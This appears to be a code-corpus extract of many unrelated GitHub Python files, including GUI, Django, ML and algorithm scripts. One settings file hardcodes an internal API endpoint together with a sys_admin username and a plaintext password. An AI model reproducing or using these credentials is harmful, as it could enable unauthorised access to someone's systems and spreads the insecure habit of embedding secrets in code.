width=1920)\r\nlast_page_bg_label.place(x=0, y=0, relheight=1,relwidth=1)\r\n\r\nhighscore_exit_btn = PhotoImage(file=\"images/bg1exit.png\")\r\nhighscore_exit_button = Button(frame5, image=highscore_exit_btn, cursor = \"hand2\", borderwidth=0, bg=\"white\", command=refresh_session)\r\nhighscore_exit_button.pack(padx=30, pady=30, anchor=\"ne\")\r\n\r\n#============================================== FRAME 6 ==================================================#\r\n\r\nqualify_bg = PhotoImage(file=\"images/qualify_background.png\")\r\nqualify_ok_btn = PhotoImage(file=\"images/qualify_btn7.png\")\r\nqualify_mssg = PhotoImage(file=\"images/qualify_mssg.png\")\r\nqualify_fail_mssg = PhotoImage(file=\"images/qualify_failmssg.png\")\r\n\r\n#============================================== ADD QUESTION CANVAS ==================================================#\r\nadd_questions_bg = PhotoImage(file=\"images/addQuestionbg.png\")\r\nsubmit_btn_img = PhotoImage(file=\"images/submitbtn.png\")\r\n\r\nsubmit_btn = Button()\r\n\r\nmy_canvas = Canvas(width=1100, height=650)\r\n\r\nget_question = \"\"\r\nget_options = \"\"\r\nget_correct_option = \"\"\r\n\r\ninput_question = Entry()\r\ninput_options = Entry()\r\ninput_correct_option = Entry()\r\n\r\nformatted_options_list = []\r\n\r\nerr_var = IntVar()\r\n\r\nshow_frame(frame1)\r\n\r\nwindow.mainloop()\r\n\r\nconn.close()","repo_name":"Aditya-0517/Quiz-Game-App","sub_path":"questions.py","file_name":"questions.py","file_ext":"py","file_size_in_byte":19907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32207952990","text":"#main.py\n#24/08/2022\n\nimport os\nimport time\nfrom stockAlerter import StockAlerter\n\ndef main():\n\n startTime = time.time()\n\n rootDir = os.path.dirname(os.path.realpath(__file__)).replace('\\\\app','').replace('/app','')\n dataFilePath = (rootDir + \"\\data\\stocksData.json\").replace('\\\\', '/')\n\n stockAlerter = StockAlerter(dataFilePath)\n result = stockAlerter.getStockEstimationsTenYears()\n report = stockAlerter.buildReportHTML()\n stockAlerter.sendAlert(report)\n\n endTime = time.time()\n elapsedTime = round(endTime - startTime, 2)\n print('Elapsed time: ', elapsedTime, ' seconds') \n\nif __name__ == \"__main__\":\n main()","repo_name":"Jossan84/stockAlerter","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20762610937","text":"import os\nimport sys\n\nimport pythoncom\nimport win32api\nfrom win32com.shell import shell, shellcon\n\ntemp_dir = win32api.GetTempPath()\nlinkname = win32api.GetTempFileName(temp_dir, \"cmd\")[0]\nos.remove(linkname)\nlinkname += \".lnk\"\nprint(\"Link name:\", linkname)\nish = pythoncom.CoCreateInstance(\n shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink\n)\nish.SetPath(os.environ[\"cOMSPEC\"])\nish.SetWorkingDirectory(os.path.split(sys.executable)[0])\nish.SetDescription(\"shortcut made by python\")\n\nconsole_props = {\n \"Signature\": shellcon.NT_CONSOLE_PROPS_SIG,\n \"InsertMode\": True,\n \"FullScreen\": False, ## True looks like \"DOS Mode\" from win98!\n \"FontFamily\": 54,\n \"CursorSize\": 75, ## pct of character size\n \"ScreenBufferSize\": (152, 256),\n \"AutoPosition\": False,\n \"FontSize\": (4, 5),\n \"FaceName\": \"\",\n \"HistoryBufferSize\": 32,\n \"InputBufferSize\": 0,\n \"QuickEdit\": True,\n \"Font\": 0, ## 0 should always be present, use win32console.GetNumberOfConsoleFonts() to find how many available\n \"FillAttribute\": 7,\n \"PopupFillAttribute\": 245,\n \"WindowSize\": (128, 32),\n \"WindowOrigin\": (0, 0),\n \"FontWeight\": 400,\n \"HistoryNoDup\": False,\n \"NumberOfHistoryBuffers\": 32,\n ## ColorTable copied from a 'normal' console shortcut, with some obvious changes\n ## These do not appear to be documented. From experimentation, [0] is background, [7] is foreground text\n \"ColorTable\": (\n 255,\n 8388608,\n 32768,\n 8421376,\n 128,\n 8388736,\n 32896,\n 12582912,\n 8421504,\n 16711680,\n 65280,\n 16776960,\n 255,\n 16711935,\n 65535,\n 16777215,\n ),\n}\n\nishdl = ish.QueryInterface(shell.IID_IShellLinkDataList)\nishdl.AddDataBlock(console_props)\nipf = ish.QueryInterface(pythoncom.IID_IPersistFile)\nipf.Save(linkname, 1)\nos.startfile(linkname)\n","repo_name":"mhammond/pywin32","sub_path":"com/win32comext/shell/demos/IShellLinkDataList.py","file_name":"IShellLinkDataList.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":4604,"dataset":"github-code","pt":"70"} +{"seq_id":"74654856227","text":"import sys\nimport argparse\nimport ml_collections\nfrom datasets import disable_progress_bar\nfrom transformers import BertConfig\n\nsys.path.append(\"/home/vmeshchaninov/DiffusionTextGeneration/\")\n\nfrom diffusion_holder import DiffusionRunner\nfrom utils.util import set_seed, _BERT_SMALL, _BERT_BASE\n\ndisable_progress_bar()\n\ndef create_config():\n config = ml_collections.ConfigDict()\n optim = config.optim = ml_collections.ConfigDict()\n optim.grad_clip_norm = 1.0\n optim.linear_warmup = 5000\n optim.lr = 2e-4\n optim.weight_decay = 0\n\n training = config.training = ml_collections.ConfigDict()\n training.training_iters = 350_000\n training.checkpoint_freq = 50_000\n training.eval_freq = 50_000\n training.batch_size = 128\n training.ode_sampling = False\n training.checkpoints_folder = './checkpoints'\n config.checkpoints_prefix = \"\"\n\n validation = config.validation = ml_collections.ConfigDict()\n validation.batch_size = 1028\n validation.validation_iters = int(10_000 / validation.batch_size)\n\n sde = config.sde = ml_collections.ConfigDict()\n sde.typename = 'vp-sde'\n sde.solver = 'euler'\n sde.N = 2000\n sde.beta_min = 0.1\n sde.beta_max = 20\n sde.ode_sampling = False\n\n model = config.model = ml_collections.ConfigDict()\n model.ema_rate = 0.9999\n model.enc_type = \"base\"\n model.embeddings_type = \"encodings\"\n model.dif_enc_type = \"base\"\n\n data = config.data = ml_collections.ConfigDict()\n data.config_path = \"/home/vmeshchaninov/DiffusionTextGeneration/data/config.json\"\n data.max_sequence_len = 64\n\n config.device = 'cuda:0'\n config.ddp = False\n config.seed = 0\n config.bert_config = None\n return config\n\ndef clear_text(text):\n data = []\n for l in text:\n s = l.replace(\"..\", \"\")\n s = s.replace(\"[SEP]\", \"\").replace(\"[CLS]\", \"\")\n data.append(s)\n return data\n\n\nif __name__ == '__main__':\n model_name = \"glue-encodings-enc=base-bert=base-kl_cf=0.1seq_len=64-6gpu_1000000_\"\n print(model_name)\n config = create_config()\n config.checkpoints_prefix = model_name\n if \"base\" in model_name:\n config.bert_config = BertConfig(**_BERT_BASE) #.from_pretrained(\"bert-base-uncased\")\n else:\n config.bert_config = BertConfig(**_BERT_SMALL)\n\n set_seed(config.seed)\n\n diffusion = DiffusionRunner(config, latent_mode=\"encodings\", eval=True)\n text = diffusion.generate_text(batch_size=512)[0]\n\n for t in clear_text(text):\n print(t)\n","repo_name":"MeshchaninovViacheslav/DiffusionTextGeneration-cond-ca","sub_path":"estimation_utils/generate_text.py","file_name":"generate_text.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21226775813","text":"from django.forms import ModelForm, Select, Textarea\n\nfrom .models import Comment, Post\n\n\nclass PostForm(ModelForm):\n class Meta:\n model = Post\n fields = ['group', 'text', 'image']\n labels = {\n 'group': 'Название сообщества',\n 'text': 'Содержимое записи',\n 'image': 'Изображение записи'\n }\n widgets = {\n 'group': Select(attrs={\n 'placeholder': 'При необходимости, укажите сообщество'\n }),\n 'text': Textarea(attrs={\n 'placeholder': 'Текст записи'\n })\n }\n error_messages = {\n 'text': {'required': ('Недопустимая длина сообщения')}\n }\n\n\nclass CommentForm(ModelForm):\n class Meta:\n model = Comment\n fields = ['text']\n labels = {\n 'text': Textarea(attrs={'placeholder': 'Текст комментария'})\n }\n","repo_name":"akinfievds/hw05_final","sub_path":"posts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"43589913115","text":"#\n#\n# 2021/07/07 10:34 오후\n\nfrom collections import deque\n\nmaps = [[1, 0, 1, 1, 1],\n [1, 0, 1, 0, 1],\n [1, 0, 1, 1, 1],\n [1, 1, 1, 0, 0],\n [0, 0, 0, 0, 1]]\n\n\ndef solution(maps):\n answer = -1\n n = len(maps)\n m = len(maps[0])\n queue = deque([(0, 0)])\n visited = [[0] * m for _ in range(n)]\n visited[0][0] = 1\n\n dx = [1, -1, 0, 0]\n dy = [0, 0, 1, -1]\n\n # BFS\n while queue:\n x, y = queue.popleft()\n\n # 목적지 도달, 게임 종료 조건\n if x == m - 1 and y == n - 1:\n answer = visited[y][x]\n break\n\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n # maps 의 범위를 벗어나지 않고, 방문한 적이 없으며, 벽이 아닌 좌표일 때\n if 0 <= nx < m and 0 <= ny < n and visited[ny][nx] == 0 and maps[ny][nx] != 0:\n # 도달거리\n visited[ny][nx] = visited[y][x] + 1\n queue.append((nx, ny))\n\n return answer\n\n\nprint(solution(maps))\n\n# ClearTime = 2021/07/07 11:05 오후\n","repo_name":"songkg7/1day-1algorithm","sub_path":"programmers/level2/게임 맵 최단거리.py","file_name":"게임 맵 최단거리.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21967970341","text":"qtde = 0\nnumero = input('Número: ')\n\n\neh_numerico = True\nfor i in range(len(numero)):\n if (numero[i] < '0') or (numero[i] > '9'):\n eh_numerico = False\n break\n\nif (eh_numerico == True):\n print('Número inteiro')\nelse:\n print('Não é número inteiro')\n\nprint(numero.isdigit())\n\nfor i in range(len(numero)):\n if (numero[i] == '0'):\n qtde += 1\n\nprint('qtde =', qtde)\nquantidade = numero.count('0')\nprint(quantidade)\n","repo_name":"valeriacavalcanti/ALP-2020-R","sub_path":"Bimestre_04_Aula_02/exemplo_01.py","file_name":"exemplo_01.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"14170130938","text":"\"\"\"五格計算の履歴を管理するクラスを含むモジュール.\n\"\"\"\n\n# pylint: disable=R0902, R0914, C0103, R0801\n\nimport os\nimport numpy as np\nfrom seimei.fileio import CSVFileIO\nfrom seimei.seimei_item import SeimeiItem\n\nclass SeimeiHistory(CSVFileIO):\n \"\"\"姓名の履歴を管理するクラス.\n\n Attributes:\n history: 履歴\n filepath: 履歴を保存するファイルパス\n \"\"\"\n def __init__(self, filepath=None):\n \"\"\"初期化.\n\n Args:\n filepath: 履歴が保存されているファイルパス\n \"\"\"\n self.history = []\n self.filepath = filepath\n if filepath is not None:\n self.load(filepath)\n\n def __len__(self):\n return len(self.history)\n\n def get_filepath(self):\n return self.filepath\n\n def add(self, item):\n \"\"\"履歴に姓名を追加する.\n\n Args:\n item: 姓名データ\n \"\"\"\n for history_item in self.history:\n # 姓より名を優先して判断する.\n if history_item.given == item.given and history_item.family == item.family:\n return\n\n self.history.append(item)\n\n def __iter__(self):\n return iter(self.history)\n\n def __getitem__(self, key):\n return self.history[key]\n\n def save_csv(self, filepath):\n \"\"\"履歴をCSV形式で保存する.\n\n Args:\n filepath: 保存先のファイルのパス\n \"\"\"\n if not os.path.exists(filepath):\n return\n\n with open(filepath, 'w', encoding='utf-8') as f:\n f.write(('# 姓, 名, 天格, 人格, 地格, 外格, 総格, '\n '五行:天格, 五行:人格, 五行:地格, 五行運勢, 画数..., ノート\\n'))\n for item in self.history:\n family = item.family\n given = item.given\n save_list = [family, given]\n\n gokaku_dict = item.gokaku_dict\n save_list.append(str(gokaku_dict['天格']))\n save_list.append(str(gokaku_dict['人格']))\n save_list.append(str(gokaku_dict['地格']))\n save_list.append(str(gokaku_dict['外格']))\n save_list.append(str(gokaku_dict['総格']))\n\n gogyo_dict = item.gogyo_dict\n save_list.append(str(gogyo_dict['天格']))\n save_list.append(str(gogyo_dict['人格']))\n save_list.append(str(gogyo_dict['地格']))\n save_list.append(str(gogyo_dict['運勢']))\n\n char_kakusuu_dict = item.char_kakusuu_dict\n for char in family:\n save_list.append(str(char_kakusuu_dict[char]))\n\n for char in given:\n save_list.append(str(char_kakusuu_dict[char]))\n\n save_list.append(item.note)\n\n save_str = ','.join(save_list) + '\\n'\n f.write(save_str)\n\n def load_csv(self, filepath):\n \"\"\"CSV形式のファイルから履歴を読み込む.\n\n Args:\n filepath: 読み込むファイルのパス\n \"\"\"\n if not os.path.exists(filepath):\n return\n\n with open(filepath, 'r', encoding='utf-8') as f: # pylint: disable=R0801\n for line in f:\n line = line.strip()\n if CSVFileIO.is_continue(line):\n continue\n\n if line.count(',') < 6:\n raise RuntimeError(\"ファイル形式が不正です.\")\n\n load_list = line.split(',')\n\n # 姓名\n family = load_list[0].strip()\n given = load_list[1].strip()\n\n len_family = len(family)\n len_given = len(given)\n\n # 五格\n gokaku_dict = {'天格': int(load_list[2].strip()),\n '人格': int(load_list[3].strip()),\n '地格': int(load_list[4].strip()),\n '外格': int(load_list[5].strip()),\n '総格': int(load_list[6].strip())}\n\n # 陰陽五行\n gogyo_dict = {'天格': load_list[7].strip(),\n '人格': load_list[8].strip(),\n '地格': load_list[9].strip(),\n '運勢': load_list[10].strip()}\n\n idx0 = 11\n idx1 = idx0 + len_family\n idx2 = idx1 + len_given\n\n if len(load_list) < idx2:\n raise RuntimeError(\"ファイル形式が不正です.\")\n\n # 画数\n char_kakusuu_dict = {}\n char_kakusuu_dict.update({char.strip(): int(kakusuu.strip()) for char, kakusuu\n in zip(family, load_list[idx0:idx1])})\n char_kakusuu_dict.update({char.strip(): int(kakusuu.strip()) for char, kakusuu\n in zip(given, load_list[idx1:idx2])})\n\n note = load_list[idx2] if len(load_list) >= idx2+1 else ''\n\n self.add(SeimeiItem(family, given, char_kakusuu_dict, gokaku_dict, gogyo_dict,\n note))\n\n def show(self):\n \"\"\"標準出力する.\n \"\"\"\n print('\\n'.join(['|{:3d}|{}{}|{}|{}|'.format(\n i+1,\n '{} {}'.format(item.family, item.given),\n ' '*(11 - (2*len(item.family) + 2*len(item.given) + 1)),\n ', '.join(['{}: {:2d}'.format(key, val) for key, val in item.gokaku_dict.items()]),\n ', '.join(['{}: {:2d}'.format(key, val) for key, val\n in item.char_kakusuu_dict.items()]))\n for i, item in enumerate(self.history)]))\n\n def remove(self, *remove_ids):\n \"\"\"履歴を削除する.\n\n Args:\n remove_ids: 削除する項目のインデックス (複数選択可能)\n \"\"\"\n # インデックスが変わらないようにインデックスの大きい項目から削除する\n sorted_remove_ids = sorted(remove_ids)\n for remove_id in sorted_remove_ids[::-1]:\n self.history.pop(remove_id)\n\n def move(self, idx, move_val):\n \"\"\"履歴の項目を移動する.\n\n Args:\n idx: 移動する項目のインデックス\n move_val: 移動方向 (正負) と移動量 (絶対値)\n \"\"\"\n if move_val == 0:\n return\n\n dest_idx = idx + move_val\n\n # 先頭より前になる場合は先頭にする\n dest_idx = dest_idx if dest_idx >= 0 else 0\n\n # 末尾より後になる場合は末尾にする\n last_idx = len(self) - 1\n dest_idx = dest_idx if dest_idx <= last_idx else last_idx\n\n # 移動する\n if dest_idx > idx:\n for i in range(idx, dest_idx):\n self.history[i], self.history[i+1] = self.history[i+1], self.history[i]\n\n else:\n for i in range(idx, dest_idx, -1):\n self.history[i], self.history[i-1] = self.history[i-1], self.history[i]\n\n def move_up(self, *indices):\n \"\"\"指定されたインデックスの履歴の項目をひとつ上に移動する.\n\n Args:\n indices: 移動対象のインデックス\n\n Returns:\n 移動したときTrue\n \"\"\"\n sorted_indices = np.sort(np.array(indices))\n if sorted_indices[0] < 0 or sorted_indices[-1] >= len(self):\n raise RuntimeError('インデックスが不正です.')\n\n if sorted_indices[0] == 0:\n return False\n\n for idx in sorted_indices:\n self.move(idx, -1)\n\n return True\n\n def move_down(self, *indices):\n \"\"\"指定されたインデックスの履歴の項目をひとつ下に移動する.\n\n Args:\n indices: 移動対象のインデックス\n\n Returns:\n 移動したときTrue\n \"\"\"\n sorted_indices = np.sort(np.array(indices))\n if sorted_indices[0] < 0 or sorted_indices[-1] >= len(self):\n raise RuntimeError('インデックスが不正です.')\n\n if sorted_indices[-1] == len(self) - 1:\n return False\n\n for idx in sorted_indices[::-1]:\n self.move(idx, +1)\n\n return True\n","repo_name":"htakeuchi0/seimei","sub_path":"seimei/seimei_history.py","file_name":"seimei_history.py","file_ext":"py","file_size_in_byte":8458,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8415863322","text":"try:\n from StringIO import StringIO\nexcept ImportError:\n from io import StringIO\nimport re\n\nfrom PySide2 import QtWidgets, QtGui\nfrom PySide2 import QtCore\nfrom PySide2.QtGui import QTextLayout\n\nfrom pyflakes.api import check\nfrom pyflakes.reporter import Reporter\n\n\nclass DockWidget(QtWidgets.QWidget):\n\n simulate = QtCore.Signal()\n\n def __init__(self, view):\n super(DockWidget, self).__init__(view)\n self._ui = UiWidgetContainer()\n self._ui.setup_ui(view)\n self._ui.setup_text_edit()\n # self._ui.highlighter.addToDocument(self._ui.textEdit.document())\n\n self._make_connections()\n\n def enable_simulation(self, state):\n self._ui.pushButton.setEnabled(state)\n\n def get_code(self):\n return self._ui.textEdit.toPlainText()\n\n def _make_connections(self):\n self._ui.pushButton.clicked.connect(self._parse_code)\n\n def _parse_code(self):\n code = self._ui.textEdit.toPlainText()\n out_stream = StringIO()\n err_stream = StringIO()\n reporter = Reporter(out_stream, err_stream)\n\n result = check(code, 'function', reporter)\n\n out_string = out_stream.getvalue()\n err_string = err_stream.getvalue()\n out_stream.close()\n err_stream.close()\n if result:\n QtWidgets.QMessageBox.critical(self.parent(), \"Problems encountered!\",\n \"%s\\n%s\\n\" % (out_string, err_string))\n else:\n self.simulate.emit()\n\n\nclass UiWidgetContainer(object):\n\n def __init__(self):\n self.horizontalLayout_2 = None\n self.dockWidget = None\n self.dockWidgetContents = None\n self.verticalLayout = None\n self.textEdit = None\n self.horizontalLayout = None\n self.pushButton = None\n self.highlighter = Highlighter()\n\n def setup_ui(self, widget_container):\n # self.horizontalLayout_2 = QtWidgets.QHBoxLayout(widget_container)\n # self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0)\n # self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n self.dockWidget = QtWidgets.QDockWidget() # QtCore.Qt.RightDockWidgetArea, widget_container)\n self.dockWidget.setFeatures(QtWidgets.QDockWidget.DockWidgetFloatable|QtWidgets.QDockWidget.DockWidgetMovable)\n self.dockWidget.setAllowedAreas(QtCore.Qt.LeftDockWidgetArea | QtCore.Qt.RightDockWidgetArea)\n self.dockWidget.setObjectName(\"dockWidget\")\n self.dockWidgetContents = QtWidgets.QWidget()\n self.dockWidgetContents.setObjectName(\"dockWidgetContents\")\n self.verticalLayout = QtWidgets.QVBoxLayout(self.dockWidgetContents)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.textEdit = QtWidgets.QTextEdit(self.dockWidgetContents)\n self.textEdit.setObjectName(\"textEdit\")\n self.verticalLayout.addWidget(self.textEdit)\n self.horizontalLayout = QtWidgets.QHBoxLayout()\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.pushButton = QtWidgets.QPushButton(self.dockWidgetContents)\n self.pushButton.setObjectName(\"pushButton\")\n self.horizontalLayout.addWidget(self.pushButton)\n spacer_item = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)\n self.horizontalLayout.addItem(spacer_item)\n self.verticalLayout.addLayout(self.horizontalLayout)\n self.dockWidget.setWidget(self.dockWidgetContents)\n # self.horizontalLayout_2.addWidget(self.dockWidget)\n\n self.highlighter.addToDocument(self.textEdit.document())\n\n # QtCore.QMetaObject.connectSlotsByName(widget_container)\n\n self.dockWidget.setWindowTitle(QtWidgets.QApplication.translate(\"widgetContainer\", \"Animate Jaw\", None, -1))\n self.pushButton.setText(QtWidgets.QApplication.translate(\"widgetContainer\", \"Simulate\", None, -1))\n\n widget_container.addDockWidget(QtCore.Qt.LeftDockWidgetArea, self.dockWidget)\n\n def setup_text_edit(self):\n variable_format = QtGui.QTextCharFormat()\n variable_format.setFontWeight(QtGui.QFont.Bold)\n variable_format.setForeground(QtCore.Qt.blue)\n self.highlighter.addMapping(\"def|\\\\breturn\\\\b\", variable_format)\n # self.highlighter.addMapping(\"return\", variable_format)\n\n single_line_comment_format = QtGui.QTextCharFormat()\n single_line_comment_format.setForeground(QtCore.Qt.darkGray)\n # single_line_comment_format.setBackground(QtGui.QColor(\"#77ff77\"))\n self.highlighter.addMapping(\"#[^\\n]*\", single_line_comment_format)\n\n quotation_format = QtGui.QTextCharFormat()\n # quotation_format.setBackground(QtCore.Qt.cyan)\n quotation_format.setForeground(QtCore.Qt.darkGreen)\n self.highlighter.addMapping(\"sin|cos|exp|sqrt\", quotation_format)\n\n function_format = QtGui.QTextCharFormat()\n function_format.setFontItalic(True)\n function_format.setForeground(QtCore.Qt.blue)\n self.highlighter.addMapping(\"\\\\b[a-z0-9_]+\\\\(.*\\\\)\", function_format)\n\n self.textEdit.setText(\"\"\"def animate_jaw(elapsed_time):\n \\\"\\\"\\\"\n This function takes in an elapsed time value between [0, X) seconds and returns\n the angle (in radians!!) for the jaw at that time. Mathematical functions\n that are available are:\n 'sin', 'cos', 'exp', 'sqrt'.\n \\\"\\\"\\\"\n # Place your code here!\n angle = 0.0\n\n return angle\n\"\"\")\n\n\nclass Highlighter(QtCore.QObject):\n\n def __init__(self):\n super(Highlighter, self).__init__()\n self.mappings = {}\n\n def addToDocument(self, doc):\n doc.contentsChange.connect(self.highlight)\n # self.connect(doc, QtCore.SIGNAL(\"contentsChange(int, int, int)\"), self.highlight)\n\n def addMapping(self, pattern, pattern_format):\n self.mappings[pattern] = pattern_format\n\n def highlight(self, position, removed, added):\n doc = self.sender()\n\n block = doc.findBlock(position)\n if not block.isValid():\n return\n\n if added > removed:\n endBlock = doc.findBlock(position + added - 1)\n else:\n endBlock = block\n\n while block.isValid() and not (endBlock < block):\n self.highlightBlock(block)\n block = block.next()\n\n def highlightBlock(self, block):\n layout = block.layout()\n text = block.text()\n\n overrides = []\n\n for pattern in self.mappings:\n for m in re.finditer(pattern, text):\n format_range = QTextLayout.FormatRange()\n s, e = m.span()\n format_range.start = s\n format_range.length = e - s\n format_range.format = self.mappings[pattern]\n overrides.append(format_range)\n\n layout.setAdditionalFormats(overrides)\n block.document().markContentsDirty(block.position(), block.length())\n","repo_name":"hsorby/neon.extension.nbmday","sub_path":"src/opencmiss/extensions/nbmday/dockwidget.py","file_name":"dockwidget.py","file_ext":"py","file_size_in_byte":6923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28142577517","text":"from django import forms\nfrom .models import Category,Transaction\nfrom django.contrib.auth.models import User\nimport datetime\nfrom bootstrap_datepicker_plus import DatePickerInput\n\nclass CategoryForm(forms.ModelForm):\n class Meta:\n model=Category\n fields=['name','about']\n labels={'name':'Назва','about':'Опис'}\n\n\nclass TransactionForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n user=kwargs.pop('user')\n super(TransactionForm, self).__init__(*args, **kwargs)\n self.fields['trans'].queryset=Category.objects.filter(user=user)\n self.fields['date'].widget=DatePickerInput(attrs={'size':'40'})\n\n class Meta():\n model=Transaction\n fields=['trans','operation_type','money','date','about']\n labels={'trans':'Категорія','operation_type':'Тип операції',\n 'money':'Сума','date':'Дата','about':'Опис'}\n # widgets={'date': DatePickerInput(attrs={'size':'40'}),}\n\n\nclass ReportForm(forms.Form):\n def __init__(self, *args, **kwargs):\n user=kwargs.pop('user')\n super(ReportForm, self).__init__(*args, **kwargs)\n categories=Category.objects.filter(user=user).values('id','name')\n choices = [[0, '']]\n for category in categories:\n choice=[]\n for key in category:\n choice.append(category[key])\n choices.append(choice)\n self.fields['category']=forms.TypedChoiceField(label='Категорія',choices=choices,coerce=int)\n\n t=Transaction\n date1=forms.DateField(widget=DatePickerInput(), label='Початкова дата',initial=datetime.date.today)\n date2 = forms.DateField(widget=DatePickerInput(),label='Кінцева дата',initial=datetime.date.today)\n operation_type=forms.TypedChoiceField(label='Тип операції',choices=t.OPERATION_TYPE_CHOICES,coerce=int)\n","repo_name":"YaremaKryven/bubble","sub_path":"bubbleapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20292896586","text":"import sys\nimport logging\nimport logging.config\nimport os\n\nDOCKER_OPS_LOGS_FILE = '/ops_logs/docker_ops.log'\n\nWRAPPERS = {\n 'run': os.getenv('RUN_WRAPPER', 'sandbox;log_driver;overcommit').split(';'),\n 'wait': os.getenv('WAIT_WRAPPER', '').split(';')\n}\n\nDOCKER_LOG_SETTINGS = {\n 'driver': os.getenv('DOCKER_LOG_DRIVER', 'fluentd'),\n 'host': os.getenv('FLUENTD_ADDRESS', 'localhost:24224')\n}\n\nLOGGING = {\n 'version': 1,\n 'formatters': {\n 'standard': {\n 'format': '%(asctime)-15s %(name)s [%(levelname)s]: %(message)s'\n }\n },\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n 'level': 'DEBUG',\n 'formatter': 'standard',\n 'stream': sys.stdout\n },\n 'file': {\n 'class': 'logging.handlers.RotatingFileHandler',\n 'formatter': 'standard',\n 'filename': '/var/log/luna.log',\n 'maxBytes': 1024 * 1024 * 50,\n 'backupCount': 5\n }\n },\n 'loggers': {\n 'luna': {\n 'level': 'DEBUG',\n 'propagate': 1\n }\n },\n 'root': {\n 'level': 'DEBUG',\n 'handlers': ['file']\n }\n}\n\n# FORMAT = '%(levelname)-6s %(asctime)-15s %(name)s: %(message)s'\n# logging.basicConfig()\nlogging.config.dictConfig(LOGGING)\n\nIPTABLE_CHAIN_NAME = 'ALAUDA_LINK'\nJAKIRO = {\n 'API_ENDPOINT': 'http://api.int.alauda.io',\n 'INNER_API_ENDPOINT': 'http://innerapi.int.alauda.club:8080',\n 'USER': 'sys_admin',\n 'PASSWORD': '07Apples'\n}\nDOCKER_API_VERSION = '1.17'\nLINA_ENDPOINT = \"lina.int.alauda.club:8080\"\nDNS = ['8.8.8.8', '4.4.4.4']\n","repo_name":"mingqi/luna","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41997957747","text":"class Solution:\n \"\"\"\n Approach 1: Trivial Approach\n \"\"\"\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n hashtable = collections.Counter(nums)\n return [item[0] for item in hashtable.most_common(k)]\n\n\nclass Solution:\n \"\"\"\n Approach 2: Quick Select\n time: average: O(n), worst: O(n^2), best: O(n)\n space: average: O(logn), worst: O(n), best: O(logn);\n O(n) for the list ; totally, O(n)\n Follow-up requirement: time complexity better than O(nlogn)\n \"\"\"\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n counts = list(collections.Counter(nums).items())\n self._quick_select(counts, 0, len(counts)-1, k)\n return [item[0] for item in counts[:k]]\n\n def _partition(self, arr, low, high):\n \"\"\"Return the pivot index after partition.\"\"\"\n pivot = arr[low] # choose arr[low] as the pivot\n left = low\n for right in range(low+1, high+1):\n if arr[right][1] > pivot[1]:\n arr[left+1], arr[right] = arr[right], arr[left+1]\n left += 1\n arr[low], arr[left] = arr[left], arr[low]\n return left\n\n def _random_partition(self, arr, low, high):\n \"\"\"Randomly choose pivot by swapping.\"\"\"\n pivot_idx = random.randint(low, high) # Random choose pivot\n arr[low], arr[pivot_idx] = arr[pivot_idx], arr[low]\n return self._partition(arr, low, high)\n\n def _quick_select(self, arr, low, high, k):\n \"\"\"Sort the array by Divide and Conquer.\"\"\"\n if low >= high:\n return\n # mid = self._partition(arr, low, high) # nonrandom\n mid = self._random_partition(arr, low, high) # random\n if mid < k-1:\n self._quick_select(arr, mid+1, high, k)\n elif mid > k-1:\n self._quick_select(arr, low, mid-1, k)\n\n\nclass Solution:\n \"\"\"\n Approach 3: Heap Sort\n time: O(n) for Counter(), O(klogk) for building a heap, O((n-k)logk) for pushing,\n totally, O(nlogk),\n space: O(n) for the list \n Follow-up requirement: time complexity better than O(nlogn)\n \"\"\"\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n counts = list(collections.Counter(nums).items())\n n = len(counts)\n # build the min heap with size of k\n self._min_heapify(counts, 0, k)\n\n # push the remains to the heap\n for i in range(k, n):\n if counts[i][1] > counts[0][1]:\n counts[i], counts[0] = counts[0], counts[i]\n self._min_heappop(counts, 0, k)\n return [item[0] for item in counts[:k]]\n\n def _min_heapify(self, heap, root, heap_len):\n \"\"\"Build a min heap.\"\"\"\n for i in range(heap_len-1, -1, root-1):\n self._min_heappop(heap, i, heap_len)\n\n def _min_heappop(self, heap, root, heap_len):\n \"\"\"Pop the minimum to the top of heap.\"\"\"\n cur = root\n while cur*2+1 < heap_len:\n left, right = cur*2+1, cur*2+2\n if heap_len <= right or heap[left][1] < heap[right][1]:\n nex = left\n else:\n nex = right\n if heap[cur][1] > heap[nex][1]:\n heap[cur], heap[nex] = heap[nex], heap[cur]\n cur = nex\n else:\n break\n\n\nclass Solution:\n 